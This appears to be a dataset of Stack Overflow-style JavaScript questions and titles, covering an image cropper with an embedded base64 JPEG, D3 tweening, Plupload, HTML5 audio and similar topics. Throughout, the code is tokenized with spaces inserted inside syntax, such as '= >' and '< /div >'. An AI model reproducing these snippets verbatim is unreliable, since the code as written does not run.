AtAAAABgAAAAAAAThCSU0D+AAAAAAAcAAA/////////////////////////////wPoAAAAAP////////////////////////////8D6AAAAAD/////////////////////////////A+gAAAAA/////////////////////////////wPoAAA4QklNBAAAAAAAAAIAADhCSU0EAgAAAAAAAgAAOEJJTQQwAAAAAAABAQA4QklNBC0AAAAAAAIAADhCSU0ECAAAAAAAEAAAAAEAAAJAAAACQAAAAAA4QklNBB4AAAAAAAQAAAAAOEJJTQQaAAAAAANVAAAABgAAAAAAAAAAAAAAyAAAAMgAAAAQAHMAcQB1AGEAcgBlAC0AZgBhAGMAZQAuAGoAcABlAGcAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAMgAAADIAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAEAAAAAAABudWxsAAAAAgAAAAZib3VuZHNPYmpjAAAAAQAAAAAAAFJjdDEAAAAEAAAAAFRvcCBsb25nAAAAAAAAAABMZWZ0bG9uZwAAAAAAAAAAQnRvbWxvbmcAAADIAAAAAFJnaHRsb25nAAAAyAAAAAZzbGljZXNWbExzAAAAAU9iamMAAAABAAAAAAAFc2xpY2UAAAASAAAAB3NsaWNlSURsb25nAAAAAAAAAAdncm91cElEbG9uZwAAAAAAAAAGb3JpZ2luZW51bQAAAAxFU2xpY2VPcmlnaW4AAAANYXV0b0dlbmVyYXRlZAAAAABUeXBlZW51bQAAAApFU2xpY2VUeXBlAAAAAEltZyAAAAAGYm91bmRzT2JqYwAAAAEAAAAAAABSY3QxAAAABAAAAABUb3AgbG9uZwAAAAAAAAAATGVmdGxvbmcAAAAAAAAAAEJ0b21sb25nAAAAyAAAAABSZ2h0bG9uZwAAAMgAAAADdXJsVEVYVAAAAAEAAAAAAABudWxsVEVYVAAAAAEAAAAAAABNc2dlVEVYVAAAAAEAAAAAAAZhbHRUYWdURVhUAAAAAQAAAAAADmNlbGxUZXh0SXNIVE1MYm9vbAEAAAAIY2VsbFRleHRURVhUAAAAAQAAAAAACWhvcnpBbGlnbmVudW0AAAAPRVNsaWNlSG9yek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lwZS9SZXNvdXJjZUV2ZW50IyIgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1wTU06RG9jdW1lbnRJRD0iYWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOmE0NzNkMjM0LTViZDAtMTE3Yy04NzIyLWNhNDkzZjBjMzE5MyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo2MjUyN2FhMS1jMjhmLTQ3ZjEtYWRiMi00MWZlYThhY2JkMGQiIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0iRUFBQTAyMEJDQ0NGNDZGNzdCQ0NCNUJEQjVFRkRFREEiIGRjOmZvcm1hdD0iaW1hZ2UvanBlZyIgcGhvdG9zaG9wOkNvbG9yTW9kZT0iMyIgcGhvdG9zaG9wOklDQ1Byb2ZpbGU9IiIgeG1wOkNyZWF0ZURhdGU9IjIwMTktMDEtMThUMTc6NTY6MzMrMDE6MDAiIHhtcDpNb2RpZnlEYXRlPSIyMDE5LTAxLTE4VDE3OjU4OjE2KzAxOjAwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDE5LTAxLTE4VDE3OjU4OjE2KzAxOjAwIj4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6MjQ1YjRhOGYtMmYzNC00NzVjLWEzYTMtMGJjMmI2ZjAwYWEzIiBzdEV2dDp3aGVuPSIyMDE5LTAxLTE4VDE3OjU4OjE2KzAxOjAwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoTWFjaW50b3NoKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NjI1MjdhYTEtYzI4Zi00N2YxLWFkYjItNDFmZWE4YWNiZDBkIiBzdEV2dDp3aGVuPSIyMDE5LTAxLTE4VDE3OjU4OjE2KzAxOjAwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoTWFjaW50b3NoKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPC9yZGY6RGVzY3JpcHRpb24+IDwvcmRmOlJERj4gPC94OnhtcG1ldGE+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD94cGFja2V0IGVuZD0idyI/Pv/uAA5BZG9iZQBkgAAAAAH/2wCEACAhITMkM1EwMFFCLy8vQiccHBwcJyIXFxcXFyIRDAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwBIjMzNCY0IhgYIhQODg4UFA4ODg4UEQwMDAwMEREMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDP/AABEIAMgAyAMBIgACEQEDEQH/3QAEAA3/xAEbAAADAQEBAQEBAQEBAAAAAAABAAIDBAUGBwgJCgsBAQEBAQEBAQEBAQEBAAAAAAABAgMEBQYHCAkKCxAAAgIBAwIDBAcGAwMGAgE1AQACEQMhEjEEQVEiE2FxMoGRsUKhBdHBFPBSI3IzYuGC8UM0kqKyFdJTJHPCYwaDk+Lyo0RUZCU1RRYmdDZVZbOEw9N14/NGlKSFtJXE1OT0pbXF1eX1VmZ2hpamtsbW5vYRAAICAAUBBgYBAwEDBQMGLwABEQIhAzFBElFhcYGRIhMy8KGxBMHR4fFCUiNichSSM4JDJKKyNFNEY3PC0oOTo1Ti8gUVJQYWJjVkRVU2dGWzhMPTdePzRpSkhbSVxNTk9KW1xdXl9VZmdob/2gAMAwEAAhEDEQA/AIVVfpHyxVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUD//QhVV+kfLFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQP/9GFVX6R8sVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVA//0oVVfpHyxVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUD//ThVV+kfLFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQP/9SFVX6R8sVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVA//1YVVfpHyxVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUD//WhVV+kfLFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQP/9eFVX6R8sVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVA//0IVVfpHyxVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUD//RhVV+kfLFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQP/9KFVX6R8sVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVAVVUBVVQFVVA//04V8JX6R8s91XwlQPdV8JUD3VfCVA91XwlQPdV8JUD3VfCVA91XwlQPdV8JUD3VfCVA91XwlQPdV8JUD3VfCVA//2Q== ' ; } body { background-color : # eff1f3 ; } # profile-picture { width : 370px ; height : 330px ; margin : auto ; } # profile-picture * { user-select : none ; } # drag-area { width : 100 % ; height : 100 % ; cursor : move ; cursor : grab ; display : block ; overflow : hidden ; position : relative ; background-color : # 000 ; background-repeat : repeat ; background-image : url ( 'data : image/png ; base64 , iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAAJElEQVQoU2M8e/asMQMaMDY2PosuxjgUFKI7GsTH5m7GIaAQAA4fIQ1WOLcWAAAAAElFTkSuQmCC ' ) ; } # drag-area : active { cursor : grabbing ; } # clone-container { width : 0px ; height : 0px ; display : block ; overflow : hidden ; position : absolute ; } # photo , # photo-clone { display : block ; min-width : 230px ; min-height : 230px ; position : absolute ; pointer-events : none ; } img [ src= '' ] { visibility : hidden ; } # crop-circle { width : 230px ; height : 230px ; margin : 50px auto ; overflow : hidden ; position : relative ; border-radius : 50 % ; box-shadow : 0 0 0 2px # fff , 0 0 0 100vw rgba ( 0,0,0,0.5 ) ; } # circle-thirds { top : 0 ; width : 100 % ; height : 100 % ; overflow : hidden ; position : absolute ; pointer-events : none ; border-radius : 100 % ; } # circle-thirds * { z-index : 1 ; position : absolute ; background-color : rgba ( 226,226,226,0.5 ) ; } # circle-thirds .top-horizontal { width : 100 % ; height : 1px ; top : 33.33333 % ; } # circle-thirds .bottom-horizontal { width : 100 % ; height : 1px ; top : 66.66666 % ; } # circle-thirds .left-vertical { height : 100 % ; width : 1px ; left : 33.33333 % ; } # circle-thirds .right-vertical { height : 100 % ; width : 1px ; left : 66.66666 % ; } .photo-options { width : 100 % ; display : block ; position : relative ; padding-top : 15px ; } .option-buttons { width : 100 % ; display : flex ; position : relative ; padding-bottom : 10px ; justify-content : space-between ; } .option-buttons button { width : 100 % ; } .option-buttons button + button { margin-left : 10px ; } .photo-options fieldset { margin : 0px ; } .photo-options fieldset + fieldset { margin-top : 10px ; } .option-slider { display : flex ; position : relative ; } .option-slider input [ type=range ] { width : 50 % ; flex-shrink : 0 ; } .option-slider input [ type=number ] { width : 20 % ; margin : 0 10px ; } .option-slider button { width : 30 % ; } < div id= '' profile-picture '' > < div id= '' drag-area '' > < div id= '' clone-container '' > < /div > < img id= '' photo '' src= '' '' > < div id= '' crop-circle '' > < div id= '' circle-thirds '' > < span class= '' top-horizontal '' > < /span > < span class= '' bottom-horizontal '' > < /span > < span class= '' left-vertical '' > < /span > < span class= '' right-vertical '' > < /span > < /div > < /div > < /div > < div class= '' photo-options '' > < div class= '' option-buttons '' > < button id= '' reset-all '' > Reset everything < /button > < /div > < fieldset > < legend > Scale < /legend > < div class= '' option-slider '' > < input type= '' range '' id= '' scale-slider '' min= '' 1 '' max= '' 3 '' step= '' 0.01 '' value= '' 1 '' > < input type= '' number '' id= '' scale-input '' min= '' 1 '' max= '' 3 '' step= '' 0.01 '' value= '' 1 '' > < button id= '' scale-reset '' value= '' 1 '' > Reset < /button > < /div > < /fieldset > < fieldset > < legend > Rotate < /legend > < div class= '' option-slider '' > < input type= '' range '' id= '' rotate-slider '' min= '' -180 '' max= '' 180 '' step= '' 1 '' value= '' 0 '' > < input type= '' number '' id= '' rotate-input '' min= '' -180 '' max= '' 180 '' step= '' 1 '' value= '' 0 '' > < button id= '' rotate-reset '' value= '' 0 '' > Reset < /button > < /div > < /fieldset > < /div > < /div >","How to calculate transform translate ( x , y ) compensation for element rotation ?" "JS : I have two array object as following : I want to redefine the key and reduce each data with the same index.output : I 'm doing now as following : Is there any better solution of doing this ? var arr1 = [ { name : 1 , value : 10 } , { name : 2 , value : 15 } ] var arr2 = [ { name : 3 , value : 5 } , { name : 4 , value : 3 } ] var arr1 = [ { itemLabel : 1 , itemValue : 5 } , { itemLabel : 2 , itemValue : 12 } ] formatData = arr1.map ( ( row , index ) = > ( { itemLabel : arr1.name , itemValue : arr1.value - arr2 [ index ] .value } ) )",map add/reduce two array object with same index JS : Here is my code that seems to indicate that the answer is yes - http : //jsfiddle.net/4nKqu/Could you please cite the statements from the standard that clarifies that 'use strict ' is automatically applied to all closures and functions defined within a function to which we have applied 'use strict ' ? var Foo = function ( ) { 'use strict ' return { foo : function ( ) { a = 10 alert ( ' a = ' + a ) } } } ( ) try { Foo.foo ( ) } catch ( e ) { alert ( e ) },How is strict mode ( `` use strict '' ; ) inherited by functions ? "JS : I got 2 tables one of them has my products data such name , and bar-code.The other one is empty and I want to copy products ' table ( selected rows only ) into the second table via jQuery.My second table : < table id= '' exampleTable1 '' style= '' max-width:50 % ; '' > < thead > < tr > < th > bar-code < /th > < th > product name < /th > < /tr > < /thead > < tbody > < tr role= '' row '' class= '' odd selected '' > < td class= '' sorting_1 '' > 545333456 < /td > < td > Galaxy S9 < /td > < /tr > < tr role= '' row '' class= '' even selected '' > < td class= '' sorting_1 '' > 876543 < /td > < td > Galaxy S6 < /td > < /tr > < tr role= '' row '' class= '' odd '' > < td class= '' sorting_1 '' > 407654 < /td > < td > SD 64G < /td > < /tr > < tr role= '' row '' class= '' even selected '' > < td class= '' sorting_1 '' > 876543 < /td > < td > Galaxy S5 < /td > < tr role= '' row '' class= '' odd '' > < td class= '' sorting_1 '' > 407654 < /td > < td > Iphone 7 < /td > < /tr > < /tbody > < /table > < table id= '' exampleTable2 '' style= '' max-width:50 % ; '' > < thead > < tr > < th > bar-code < /th > < th > product name < /th > < /tr > < /thead > < tbody > < tr > < /tr > < tr > < /tr > < /tbody > < /table > < button class= '' btn btn-success '' data-panelId= '' copy1 '' id= '' copy1 '' > Copy from exampleTable1 To exampleTable1 < /button >",Copy data from selected rows of one table to another table using jQuery JS : I am using a method to check if a date is valid or not in my application It works correctly in most cases but when i enter value like `` something.com Eq Phone 1 '' Date.parse returns 978300000000 and the method returned truehow did it parse it as an actual date ? myApp.isValidDate = function ( date ) { var timestamp ; timestamp = Date.parse ( date ) ; if ( isNaN ( timestamp ) === false ) { return true ; } return false ; } ;,Javascript Date.parse method not working correctly "JS : I 've seen several examples from different languages that unambiguously prove that joining elements of a list ( array ) is times faster that just concatenating string . Unfortunately I did n't find an explanation why ? Can someone explain the inner algorithm that works under both operations and why is the one faster than another . Here is a python example of what I mean : Thank is advance ) # This is slowx = ' a ' x += ' b ' ... x += ' z ' # This is fastx = [ ' a ' , ' b ' , ... ' z ' ] x = `` .join ( x )",Why join is faster than normal concatenation "JS : I 'm trying to replace grunt-scss-lint ( because of its Ruby dependency and silent failure when you do n't have the gem installed ) with stylelint.The problem I 'm running into is the following error : I assume this is because stylelint ( which is a PostCSS plugin , not a Grunt plugin ) requires ES6.Here 's the code that 's throwing the Map is not defined error.Is there any way to get this to work where I can just run grunt and not some weird workaround like this ? $ grunt Loading `` Gruntfile.js '' tasks ... ERROR > > ReferenceError : Map is not defined",How to use stylelint with Grunt ? "JS : I want to play audio starting at a specific timestamp . But I ca n't even get the simplest example to work right . I tried the following , and also modifying w3school 's example.But different audio plays on each browser : Chrome for Windows is about 4 seconds late , Chrome for Android seems spot-on , Mobile Safari is off . ( Even VLC has this issue when playing the file . ) If playback starts from the beginning of the file , they stay in sync.So it looks to me like the HTML5 audio standard is either incorrectly implemented or poorly explained.I 've read that server-side support is sometimes to blame , but I 'm unsure how this would be an issue when I 'm reading local files . Ultimately I want to get this working in a Cordova project . Any ideas ? < body > < audio src= '' skyfall.mp3 '' id= '' audio '' controls preload > < /audio > < button onclick= '' play ( ) '' > Play < /button > < /body > < script type= '' text/javascript '' > var secs = 32 ; function play ( ) { var p = document.getElementById ( `` audio '' ) ; p.currentTime = secs ; console.log ( 'Playing at secs : ' + secs ) ; p.play ( ) ; } < /script >",Inconsistent seeking in HTML5 Audio player JS : How can I get the third and forth value of class= '' myDivs '' using jQuery ? Below is my code : HTML : < div class= '' myDivs '' > Stack < /div > < div class= '' myDivs '' > Over < /div > < div class= '' myDivs '' > Flow < /div > < div class= '' myDivs '' > And < /div > < div class= '' myDivs '' > Exchange < /div > < div class= '' myDivs '' > Question < /div > < div class= '' myDivs '' > Ask < /div >,Get the middle value of a class using JQuery "JS : Currently , my code works . However , when a file is uploaded , no percentages are sent back to the javascript code . ( I guess my server needs to send the chunk percentage back ? ) The `` UploadProgress '' event just prints `` 0 '' when it 's complete.This is my backend code : < script > $ ( function ( ) { $ ( `` # button_holder '' ) .show ( ) ; var uploader = new plupload.Uploader ( { runtimes : 'html5 , flash , silverlight , html4 ' , browse_button : 'pickfiles ' , container : 'button_holder ' , multi_selection : true , url : '/upload ' , flash_swf_url : '/js/plupload/js/Moxie.swf ' , silverlight_xap_url : '/js/plupload/js/Moxie.xap ' , } ) ; uploader.bind ( 'FilesAdded ' , function ( up , files ) { $ ( `` # button_holder '' ) .hide ( ) ; plupload.each ( files , function ( file ) { var item = ' < div class= '' upload_item '' id= '' ' + file.id + ' '' > ' + ' < b class= '' percent '' > < /b > < /div > ' + file.name + ' , ' + plupload.formatSize ( file.size ) + ' < /div > ' $ ( `` # progress_holder '' ) .append ( item ) ; } ) ; uploader.start ( ) ; return false ; } ) ; uploader.bind ( 'FileUploaded ' , function ( uploader , file , response ) { if ( response.status == 200 ) { var icon = `` < i class='fa fa-check fa-fw ' > < /i > '' ; } else { var icon = `` < i class='fa fa-times fa-fw ' > < /i > '' ; } var html = ' < div class= '' success_item '' > ' + icon + ' ' + file.name + ' < /div > ' ; $ ( `` # progress_holder '' ) .append ( html ) ; } ) ; uploader.bind ( 'UploadComplete ' , function ( uploader , files ) { } ) ; uploader.bind ( 'UploadProgress ' , function ( up , file ) { console.log ( file.percent ) ; //just says `` 0 '' $ ( `` # '' + file.id ) .first ( `` .percent '' ) .html ( file.percent + `` % '' ) ; return false ; } ) ; uploader.init ( ) ; } ) ; < /script > var express = require ( 'express ' ) ; var Pluploader = require ( 'node-pluploader ' ) ; var ejs = require ( 'ejs ' ) ; var bodyParser = require ( 'body-parser ' ) var request = require ( 'request ' ) ; var http = require ( 'http ' ) ; var app = express ( ) ; app.set ( 'views ' , '/home/user/heaven/templates ' ) ; app.set ( 'view engine ' , 'ejs ' ) ; app.use ( bodyParser.urlencoded ( { extended : true } ) ) ; app.use ( bodyParser.json ( ) ) ; app.use ( express.static ( '/home/user/heaven/media ' ) ) ; var pluploader = new Pluploader ( { uploadLimit : 100 , //MB uploadDir : '/home/user/heaven/uploads ' } ) ; pluploader.on ( 'fileUploaded ' , function ( file , req ) { console.log ( file ) ; } ) ; pluploader.on ( 'error ' , function ( error ) { throw error ; } ) ; app.post ( '/upload ' , function ( req , res ) { pluploader.handleRequest ( req , res ) ; } ) ; app.get ( '/ ' , function ( req , res ) { res.render ( 'index ' , { } ) ; } ) ; var server = app.listen ( 3000 , function ( ) { console.log ( 'Listening to server . ' ) ; } ) ;",How do I use Plupload with Node.js and show the percentages of upload ? "JS : I 'm trying to figure out why my tweening numbers ( counting up or down ) code in Version 4 of D3 does n't function any more.Here is my code : The console.log tells me that the interpolation works fine . So what has changed ? And how do I get it to work ? Thanks for your help . var pieText = svg4.append ( `` text '' ) .attr ( `` class '' , `` pieLabel '' ) .attr ( `` x '' , 0 ) .attr ( `` y '' , 0 ) .text ( 0 ) .attr ( `` dy '' , `` 0.2em '' ) .style ( `` font-size '' , 19 ) .style ( `` fill '' , `` # 46596b '' ) .attr ( `` text-anchor '' , `` middle '' ) ; d3.selectAll ( `` .pieLabel '' ) .transition ( ) .delay ( 500 ) .duration ( 1000 ) .tween ( `` text '' , function ( d ) { var i = d3.interpolate ( this.textContent , d.value ) ; return function ( t ) { this.textContent = form ( i ( t ) ) ; } ; } ) ;",Tweening numbers in D3 v4 not working anymore like in v3 "JS : printswhy ? console.log ( `` 1,2,3 '' .split ( `` , '' ) .map ( parseInt ) ) [ 1 , NaN , NaN ]",map + parseInt - strange results "JS : I am using react-highchart . The scrollbar feature does not seem to work . Below is the piece of code .The scrollbar is enable in the xaxis and it doesnt seem to scroll .Please refer the highcharts implementation : http : //jsfiddle.net/gh/get/jquery/1.7.2/highcharts/highcharts/tree/master/samples/stock/yaxis/inverted-bar-scrollbar/ var config = { title : { text : 'Hello , World ! ' } , chart : { type : 'bar ' } , xAxis : { scrollbar : { enabled : true } , min:0 , max:4 , categories : [ 'Jan ' , 'Feb ' , 'Mar ' , 'Apr ' , 'May ' , 'Jun ' , 'Jul ' , 'Aug ' , 'Sep ' , 'Oct ' , 'Nov ' , 'Dec ' ] } , series : [ { data : [ 29.9 , 71.5 , 106.4 , 129.2 , 144.0 , 176.0 , 135.6 , 148.5 , 216.4 , 194.1 , 95.6 , 54.4 ] } ] } ;",React-highcharts scrollbar feature not working "JS : I am learning random algorithms , and I am currently stock in one , where I have to reverse a string that contains numbers , but I am not to reverse 1 and 0 in the string e.g , 2345678910 would be 1098765432.Here 's what I 've done so far : I am currently having the issue of not reversing the 10 . What am I doing wrong ? function split ( str ) { let temp = [ ] ; temp = str.split ( `` ) ; const backwards = [ ] ; const totalItems = str.length - 1 ; for ( let i = totalItems ; i > = 0 ; i -- ) { backwards.push ( temp [ i ] ) ; } return backwards.join ( `` ) .toString ( ) ; } console.log ( split ( `` 10 2 3 U S A '' ) ) ; console.log ( split ( `` 2345678910 '' ) ) ;","How to Reverse a string with numbers , but do n't reverse 1 and 0 ?" "JS : for my job I am doing an research projekt on the validity of Google Analytics ( mostly in regards to the verified reports on flippa ) -- > see if it is possible to completly fake G. Analytics ( a simple Yes will not cut it ) ! I modified the G. Analytics code as following : It 